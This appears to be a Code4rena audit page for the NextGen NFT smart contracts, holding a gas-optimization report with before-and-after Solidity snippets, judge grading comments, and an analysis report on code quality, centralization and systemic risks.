File: NextGenCore.sol 082: // current amount of burnt tokens per collection 083: mapping (uint256 => uint256) private burnAmount; 084: 085: // modify the metadata view 086: mapping (uint256 => bool) private onchainMetadata; 087: 088: // artist signature per collection 089: mapping (uint256 => string) private artistsSignatures; 099: 100: // artist signed 101: mapping (uint256 => bool) private artistSigned; 102: 105: address private minterContract;
newCollectionIndex
to 1 directly in the constructor to save gasThere is 1 instance of this:
Before VS After
Deployment cost: 5501759 - 5500900 = 859 gas saved
The state variable newCollectionIndex
is initially 0 and incremented to 1 using the x = x + y
pattern. This is done to ensure collectionIds do not start with 0. But instead of using the x = x + y
pattern, we can just simply update newCollectionIndex
to 1 to save gas.
Instead of this:
File: NextGenCore.sol 108: constructor(string memory name, string memory symbol, address _adminsContract) ERC721(name, symbol) { 109: adminsContract = INextGenAdmins(_adminsContract); 110: newCollectionIndex = newCollectionIndex + 1; 111: _setDefaultRoyalty(0x1B1289E34Fe05019511d7b436a5138F361904df0, 690); 112: }
Use this:
File: NextGenCore.sol 108: constructor(string memory name, string memory symbol, address _adminsContract) ERC721(name, symbol) { 109: adminsContract = INextGenAdmins(_adminsContract); 110: newCollectionIndex = 1; 111: _setDefaultRoyalty(0x1B1289E34Fe05019511d7b436a5138F361904df0, 690); 112: }
++newCollectionIndex
instead of newCollectionIndex = newCollectionIndex + 1
to save gasThere is 1 instance of this:
Before VS After
Deployment cost: 5501759 - 5501291 = 468 gas saved
Function execution cost: 252555 - 252543 = 12 gas saved (per call)
Instead of this:
File: NextGenCore.sol 141: newCollectionIndex = newCollectionIndex + 1;
Use this:
File: NextGenCore.sol 141: ++newCollectionIndex;
collectionPhasesDataStructure
There is 1 instance of this:
Currently the first 4 members of the collectionPhasesDataStructure occupy 4 slots. These members are time related and can make use of smaller uint sizes such as uint64 to save slots and gas.
If we use uint64 (8 bytes) as the size for each of the first 4 members, we can fit all of them in 1 slot (8 * 4 = 32 bytes = 1 slot) instead of 4 slots. This can save gas whenever read/write operations are performed on a struct instance.
Instead of this:
File: MinterContract.sol 46: struct collectionPhasesDataStructure { 47: uint allowlistStartTime; //occupy 4 slots 48: uint allowlistEndTime; 49: uint publicStartTime; 50: uint publicEndTime; 51: bytes32 merkleRoot; 52: uint256 collectionMintCost; 53: uint256 collectionEndMintCost; 54: uint256 timePeriod; 55: uint256 rate; 56: uint8 salesOption; 57: address delAddress; 58: }
Use this:
File: MinterContract.sol 46: struct collectionPhasesDataStructure { 47: uint64 allowlistStartTime; //now occupy 1 slot 48: uint64 allowlistEndTime; 49: uint64 publicStartTime; 50: uint64 publicEndTime; 51: bytes32 merkleRoot; 52: uint256 collectionMintCost; 53: uint256 collectionEndMintCost; 54: uint256 timePeriod; 55: uint256 rate; 56: uint8 salesOption; 57: address delAddress; 58:
mint()
function can be removed to save gasThere is 1 instance of this:
Before VS After
Deployment cost: 5454331 - 5415855 = 38476 gas saved
Function execution cost: 531882 - 530831 = 1051 gas saved (per call)
The conditional else-if block below is from the mint() function. The block is used when in public phase. On Line 240, we can remove the require check since on the following Line 241, the condition is already covered in the require check. Thus, this makes the check redundant on Line 240 and should be removed.
File: MinterContract.sol 238: } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { 239: phase = 2; 240: require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); 241: require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); 242: mintingAddress = msg.sender; 243: tokData = '"public"';
mintIndex
since collectionTokenMintIndex
holds the same valueThere is 1 instance of this:
Before VS After
Deployment cost: 5454331 - 5403794 = 50537
On Line 281 and 284, we can observe mintIndex
retrieving the same value that was previously retrieved by collectionTokenMintIndex
. Thus, there is no need to create a mintIndex variable and the value of collectionTokenMintIndex can be directly used as the tokenId for the call to the NextGenCore contract on Line 287.
Instead of this:
File: MinterContract.sol 275: function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable { 276: require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn"); 277: require(block.timestamp >= collectionPhases[_mintCollectionID].publicStartTime && block.timestamp<=collectionPhases[_mintCollectionID].publicEndTime,"No minting"); 278: require ((_tokenId >= gencore.viewTokensIndexMin(_burnCollectionID)) && (_tokenId <= gencore.viewTokensIndexMax(_burnCollectionID)), "col/token id error"); 279: // minting new token 280: uint256 collectionTokenMintIndex; 281: collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID); 282: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply"); 283: require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH"); 284: uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID); 285: // burn and mint token 286: address burner = msg.sender; 287: gencore.burnToMint(mintIndex, _burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o, burner); 288: collectionTotalAmount[_mintCollectionID] = collectionTotalAmount[_mintCollectionID] + msg.value; 289: }
Use this:
File: MinterContract.sol 275: function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable { 276: require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn"); 277: require(block.timestamp >= collectionPhases[_mintCollectionID].publicStartTime && block.timestamp<=collectionPhases[_mintCollectionID].publicEndTime,"No minting"); 278: require ((_tokenId >= gencore.viewTokensIndexMin(_burnCollectionID)) && (_tokenId <= gencore.viewTokensIndexMax(_burnCollectionID)), "col/token id error"); 279: // minting new token 280: uint256 collectionTokenMintIndex; 281: collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID); 282: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply"); 283: require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH"); 284: //uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID); 285: // burn and mint token 286: address burner = msg.sender; 287: gencore.burnToMint(collectionTokenMintIndex, _burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o, burner); 288: collectionTotalAmount[_mintCollectionID] = collectionTotalAmount[_mintCollectionID] + msg.value; 289: }
There is 1 instance of this:
Function execution cost: 200 gas (CALL opcode = 100 gas * 2 for 2 empty primaryAddreses) - 15 gas (GT opcode = 3 gas * 5 since 3 addresses of artist and 2 addresses of team are checked for address(0)) = 185 gas saved (per call)
It is possible for primary addresses to hold address(0) value since in the function proposePrimaryAddressesAndPercentages(), the artist can have only 1 royalty primary address set with max percentage of royalties the artist can receive. This means primaryAdd1
and primaryAdd2
are set to 0 with 0%.
Now when paying the artist, there are unnecessary external call being made to the zero address on Line 450 and 451. This would cost 200 gas more (since CALL opcode costs 100 gas each).
Since address(0) would receive 0 royalties, we can wrap each external call with a check that ensures that artistRoyalties[1/2/3] is greater than 0. If not, then we continue the rest of the calls which have royalties > 0.
File: MinterContract.sol 443: artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100; 444: artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100; 445: artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100; 446: teamRoyalties1 = royalties * _teamperc1 / 100; 447: teamRoyalties2 = royalties * _teamperc2 / 100; 449: (bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}(""); 450: (bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}(""); 451: (bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}(""); 452: (bool success4, ) = payable(tm1).call{value: teamRoyalties1}(""); 453: (bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
decreaserate
in Exponential Decay function (sales model 2) to save gasThere is 1 instance of this:
Before VS After
Deployment cost: 5454331 - 5450662 = 3669 gas saved
Simplification of decreaserate equation:
Instead of this:
File: MinterContract.sol 569: decreaserate = ((price - (collectionPhases[_collectionId].collectionMintCost / (tDiff + 2))) / collectionPhases[_collectionId].timePeriod) * ((block.timestamp - (tDiff * collectionPhases[_collectionId].timePeriod) - collectionPhases[_collectionId].allowlistStartTime));
Use this:
File: MinterContract.sol 569: decreaserate = (collectionPhases[_collectionId].collectionMintCost / ((tDiff + 1)*(tDiff + 2))) * ((block.timestamp - (tDiff * collectionPhases[_collectionId].timePeriod) - collectionPhases[_collectionId].allowlistStartTime));
There is 1 instance of this:
Before VS After
Deployment cost: 5454331 - 5449796 = 4535 gas saved
Function execution cost: 115 gas saved (per call)
The below else block is to calculate the Linear Descending Sale price. Returning early (on Line 576 itself) when the token reaches the resting price in this model will save 115 gas since it would prevent the unnecessary check on Line 579, which will always be false when the token reaches resting price.
Although the hardhat gas reporter did not display the function execution gas saved for the getPrice() function, I've tried to gauge the approximate gas that will be saved per function call.
On Line 576:
On Line 579:
price
and decreaserate
memory variables (2 * 3 MLOAD opcode cost = 6 gas)price - decreaserate
subtraction SUB operation (3 gas)collectionEndMintCost
(100 gas)Total Gas saved: 3 + 6 + 3 + 3 + 100 = 115 gas per call
Instead of this:
File: MinterContract.sol 572: } else { 573: if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) { 574: price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate); 575: } else { 576: price = collectionPhases[_collectionId].collectionEndMintCost; 577: } 578: } 579: if (price - decreaserate > collectionPhases[_collectionId].collectionEndMintCost) { 580: return price - decreaserate; 581: } else { 582: return collectionPhases[_collectionId].collectionEndMintCost; 583: }
Use this (change on Line 576):
File: MinterContract.sol 572: } else { 573: if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) { 574: price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate); 575: } else { 576: return collectionPhases[_collectionId].collectionEndMintCost; 577: } 578: } 579: if (price - decreaserate > collectionPhases[_collectionId].collectionEndMintCost) { 580: return price - decreaserate; 581: } else { 582: return collectionPhases[_collectionId].collectionEndMintCost; 583: }
highBid
in for loop of function returnHighestBid()
to save gasThere is 1 instance of this:
Function execution cost: 3 gas * auctionInfoData[_tokenid].length + 100 * auctionInfoData[_tokenid].length (since MSTORE costs 3 gas and SLOAD costs 100 gas)
Similar to the for loop in function returnHighestBidder(), the for loop in function returnHighestBid() does not need to track highBid
on each iteration since the index holding the last non-zero bidder in the array is being tracked, which can be finally returned in the upcoming if check. **Note: The last non-zero bidder because participateToAuction allows users to participate only if msg.value is greater than previous bid. The non-zero because the last bidder in the array can cancel his bid.)
Instead of this:
File: AuctionDemo.sol 70: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) { 71: if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) { 72: highBid = auctionInfoData[_tokenid][i].bid; 73: index = i; 74: } 75: }
Use this:
File: AuctionDemo.sol 70: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) { 71: if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) { 72: index = i; 73: } 74: }
returnHighestBidder()
to save gasThere is 1 instance of this:
Remove check on Line 95 since it is already checked in the if check in the for loop on Line 91.
File: AuctionDemo.sol 90: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) { 91: if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) { 92: index = i; 93: } 94: } 95: if (auctionInfoData[_tokenid][index].status == true) { 96: return auctionInfoData[_tokenid][index].bidder; 97: } else { 98: revert("No Active Bidder"); 99: }
msg.sender
instead of accessing bidder from storage in function cancelBid()
to save gasThere is 1 instance of this:
Function execution cost: 98 gas saved (per call) (CALLER opcode costs 2 gas while SLOAD opcode costs 100 gas)
We do not need to worry about the bidder not being the msg.sender since that is already checked in the function cancelBid() here on Line 126.
Instead of this:
File: AuctionDemo.sol 128: (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
Use this:
File: AuctionDemo.sol 128: (bool success, ) = payable(msg.sender).call{value: auctionInfoData[_tokenid][index].bid}("");
#0 - 141345
2023-11-26T05:59:17Z
765 MrPotatoMagic l r nc 6 0 5
G 1 n G 2 i G 3 n G 4 i G 5 n G 6 l G 7 l G 8 n G 9 n G 10 l G 11 l G 12 l G 13 l
#1 - c4-pre-sort
2023-11-26T06:00:46Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-02T16:48:10Z
G-01 is invalid for the referenced instances G-02 saves deployment gas G-03 saves deployment gas G-09 mathematical simplification is minimal in gas savings G-12 invalid as the loop may not iterate at all
#3 - c4-judge
2023-12-02T16:48:16Z
alex-ppg marked the issue as grade-a
🌟 Selected for report: MrPotatoMagic
Also found by: 3th, Fulum, JohnnyTime, K42, Kose, SAAJ, Toshii, catellatech, cats, clara, digitizeworx, dimulski, dy, glcanvas, hunter_w3b, ihtishamsudo, niki, peanuts
341.5014 USDC - $341.50
This audit report should be approached with the following points in mind:
Day 1-4
Day 5-9
Day 10-11
Day 12-14
The protocol has been structured in a very simplistic manner. The contracts in the protocol can be divided into five categories, namely, Core, Minter, Admin, Auction and Randomizer contracts.
Since I found numerous coded POC confirmed issues, the only way I would decide the quality of this codebase is through the issues per contract and design structure i.e. code readability/maintainability.
Admins Contract: The NextGenAdmins contract was quite simplistic. I had a quick glance at it since it was short and brief to understand. Since there were no issues here, I would mark this as high-quality.
Randomizer Contracts: The RandomizerVRF.sol, RandomizerRNG.sol and RandomizerNXT.sol collectively only had around 3 issues, some of which had no severe impact on the codebase. When it comes to the security considerations and code maintainability, the team seems to knowing the intracacies and some potential attack vectors, which have been neatly mitigated with access controls and limiting function visibility. Due to this, I would mark this as high-quality.
AuctionDemo Contract: This contract has 3 High-severity issues, which were missed out due to loose equality checks and missing storage updates in the claimAuction() and cancelAllBids() functions. The design choice of participate-claim-cancel makes sense but the severity of the issues anyday overshadow the design choice for quality since the potential impact of the issues expand not only to the current auction but also to other auctions running in parallel. Due to this, I would mark this as low-quality.
MinterContract: Most of the high and medium-severity issues I found were heavily related to this contract's missing state updates, require checks, missing functionality for support of sales model 3 as well as breaking of invariants. Due to this, I would mark this as low-quality.
NextGenCore Contract: The NextGenCore contract included 2 High-severity issues, one from reentrancy through _safeMint() and the other due to missing state update in burnToMint(). The rest of the contract does not seem to have any major issues that I've come across. Due to this, I would mark this as low-quality.
Test Coverage of these contracts The Core contracts have tests implemented in hardhat except AuctionDemo.sol and the Randomizers. The core contract have not been tested for specific branches or combinations but only basic functionality. Additionally, no fuzz testing, strict invariant testing or fork testing has been performed, considering the fact that randomness services like Chainlink VRF is used.
Although I have not delved deeper into the issues here, this is my overall opinion on the codebase quality analysis based on both issues per contract and code readability/maintainability. Due to this, I woould rank it as almost close to touching the Medium-quality bar but no higher.
A. There are 4 trusted roles that are already mentioned in README, which are (from highest to lowest power):
B. Each of these roles have their downsides. But let's see how they can be mitigated:
C. Last but not the least, there is another crucial role in the codebase, which has not been surfaced even in the README. This is the ownerOf() or the deployer of the AuctionDemo.sol contract. This role is entrusted with or receives all the auction winner's ETH bid amounts. It is important to ensure that this address is some sort of multisig handled by the team.
Overall, the codebase is reasonably centralized since certain functions requiring it to be but there are inconsistencies in how these access controls have been applied on functions (especially in the NextGenCore contract). I would highly recommend the sponsors to create a deeper guide on what actions each role in the hierarchy are allowed to perform.
Note: The NextGenCore, MinterContract, NextGenAdmins and AuctionDemo contract are singular and independent of each other and do not use any form of inheritance amoung themselves. This I believe is a good design choice since it allows separation of storage and concerns among each other.
The RandomizerNXT.sol is the only contract that inherits from another in-scope contract i.e. XRandoms.sol
Periodic Sale (Option 3)
rate = 0
, minting cost price does not increase per minting.Exponential Descending Sale (Option 2):
Linear Descending Sale (Option 2):
I did some past transaction research on the ARRNGController.sol contract live on Ethereum mainnet and found out there has only been one call of requestRandomness and serveRandomness, which was called almost 100 days back (see here). Since there is no past transaction data to study, the reliability of the service cannot yet be guaranteed.
Furthermore, if you look closely, it took 8 block confirmations for the serve randomness to be called through the RNG service. This would be necessary if we were on POW but now the Ethereum POS network will work just fine with 3 minimum block confirmations (as done over here in the RandomizerVRF.sol contract) due to a block requiring 2/3rd of the total staked ether votes in favour in order for it to become justified. Thus, using only Chainlink VRF might be the best option while still ensuring the fastest response time.
Using OZ's AccessControl contract - Currently there are no issues with the Admins contract and never might be in the future but it is good practice to use an existing standard such as AccessControl.sol by OpenZeppelin due to its widespread usage and modularity for handling roles in all types of situations.
Although addressed in the bot report, there are very high changes of the current implementation causing a DOS issue with airdropping tokens since external calls are made to the gencore contract in a for loop. To mitigate this, ensure airdrops are done in batches such that the block gas limit is not exceeded if airdropping to many users.
Frontrunning in mint() - The mint() function in the minter contract is prone to frontrunning by bots to mint tokens earlier. This would become a major issue for a free or low cost collection that uses the Periodic Sale model (sales option 3), which only allows 1mint/period. This would affect the normal users who will not be able to mint() unless the bot lets them for a certain time. This can only be mitigated through Flashbots RPC in my opinion but raising this issue in case sponsors find some leads to solutions.
Miners manipulating block.timestamp - It is possible for miners to manipulate the block.timestamp by a few seconds in order to mint() first during a Periodic Sale (sales option 3). The impact as mentioned previously is the same since normal users are affected in these edge case scenarios.
lastMintDate stores incorrect time - In one of my issues, I have demonstrated how it is possible for lastMintDate to be set to a very far time in the future if a collection uses Periodic sale during both allowlist and public phases. This is a big system risk to the protocol since it breaks the 1mint/period invariant. The issue includes a coded poc as well which demonstrates the issue and its impact on the users and creators of the collection.
Randomness is lost - It is possible for the VRF subscription plan to run out of LINK or the RNG contract to run out of ETH. Due to this, any randomness pending to be received by the Randomizer contracts is lost and the tokenHash of the tokenId is left empty forever. To avoid such an issue, implement a bot or emergency mechanism that alerts the team when the LINK or ETH goes below a certain critical threshold.
There are several inconsistencies between where the NFTDelegation mechanism is used and where it is not. This ambiguity denies the cold wallet users using delegation as a mechanism to avoid signing risky transactions and participating in certain services such as auctions, burnToMint() etc. Ensure the NFTDelegation mechanism is implemented in all places where normal hot wallet users would interact as well.
Incomplete comment can lead to problems during phases - This comment here does not mention to set the allowlistEndTime to 0. If this is not set to 0 and the collection admins think allowlistEndTime also has to be set to publicEndTime, this would cause the public phase calls to enter the allowlist if conditional block in the mint() function first, leading to incorrect behaviour. Make sure to provide clear documentation on how values for phases can be set correctly and with more clarity in order to avoid misconfigurations.
In AuctionDemo.sol, it is possible that no bids can be placed on an auctioned token (highly unlikely but still possible). In such a case, re-auctioning the token is not supported by the AuctionDemo.sol contract, which would be a problem. Though this can be solved by deploying another auction contract, adding a re-auctioning functionality will make the codebase more verbose and resilient in case of such edge scenarios.
Limitation of token payment methods when minting - Try integrating more ERC20 tokens and stablecoins in the current model since only ETH is accepted currently.
Can a user prevent another user from setting a higher bid?
Can updating the core contract in minter contract cause any issues?
If a collection is created, can one mint before randomizer contract or any other contract is set?
Can minting start before data is set or artist signature is set?
How many collections can be supported based on how Ids are served in the gencore contract?
To get a sense: Gauging the number of collections and number of tokens per collection that can exist with the current implementation of reserved indexes: Number of collections = type(uint256).max / 10000000000 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 / 10000000000 = 11579208923731619542357098500868790785326998466564056403945758400791 collections Number of tokens per collection = 10000000000
Suggestion for sponsors: Number of tokens per collection can be increased since the NextGen contracts is experimentational and it's growth should not be underestimated in case the concept of university certificates (issued each year) or some new idea pops up that requires more than the current reserved index range of 10000000000 to be used.
Can we reenter through cancelBid?
Small mistake in docs
Mistake in docs - https://seize-io.gitbook.io/nextgen/for-creators/sales-models#sales-models-examples
In linear descending model, the statement is incorrect. It should be During 10th Price period price 3.1 ETH and 11th Price period price remains constant as shown in te diagram above the explanation as well
140 hours
#0 - c4-pre-sort
2023-11-27T14:58:19Z
141345 marked the issue as sufficient quality report
#1 - c4-judge
2023-12-07T16:48:55Z
alex-ppg marked the issue as grade-a
#2 - alex-ppg
2023-12-07T21:37:59Z
The best Analysis report came down to #926, #772, and #2005. #2005 prevails and distinguishes itself from the rest by providing a systematic analysis of one of the randomness providers (ARRNG) which is validly not considered a de facto standard while also ticking all other checkboxes.
#3 - c4-judge
2023-12-07T21:38:05Z
alex-ppg marked the issue as selected for report